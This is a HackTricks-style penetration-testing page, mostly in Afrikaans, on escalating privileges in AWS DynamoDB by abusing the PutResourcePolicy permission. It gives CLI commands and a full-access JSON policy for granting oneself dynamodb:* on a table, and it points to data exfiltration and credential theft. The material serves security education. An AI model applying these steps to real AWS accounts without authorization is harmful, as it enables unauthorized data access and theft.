# AWS - DynamoDB Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## dynamodb

Vir meer inligting oor dynamodb, kyk:

{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`

Sedert Maart 2024 bied AWS *hulpbron-gebaseerde beleide* vir DynamoDB aan ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy net vir jouself of enige ander principal volledige toegang tot die tabel gee.

Om die `dynamodb:PutResourcePolicy` aan 'n ewekansige principal toe te ken gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die principal sal toelaat om items in die databasis te sit — of as hulle daardie permissionset voor Maart 2024 toegeken het...

Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander moontlik noodsaaklike permissies oorskryf nie, maar slegs die bygevoegde permissies wat jy benodig invoeg:
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
As jy nie die huidige beleid kan kry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou principal verleen:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
As jy dit moet aanpas, hier is 'n lys van alle moontlike DynamoDB-aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat via 'n resource based policy toegelaat kan word *EN watter van hierdie vir cross-account gebruik kan word (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Nou, met die beleidsdokument `policy.json` gereed, plaas die resource policy:
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Nou behoort jy die permissions te hê wat jy nodig gehad het.

### Post Exploitation

Sover ek weet is daar **geen ander direkte manier om escalate privileges in AWS net deur sommige AWS `dynamodb` permissions te hê**. Jy kan **read sensitive** inligting van die tables (wat AWS credentials kan bevat) en **write information on the tables** (wat ander kwesbaarhede kan aktiveer, soos lambda code injections...), maar al hierdie opsies word reeds bespreek op die **DynamoDB Post Exploitation page**:

{{#ref}}
../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
{{#endref}}

### TODO: Lees data deur data Streams te misbruik

{{#include ../../../../banners/hacktricks-training.md}}
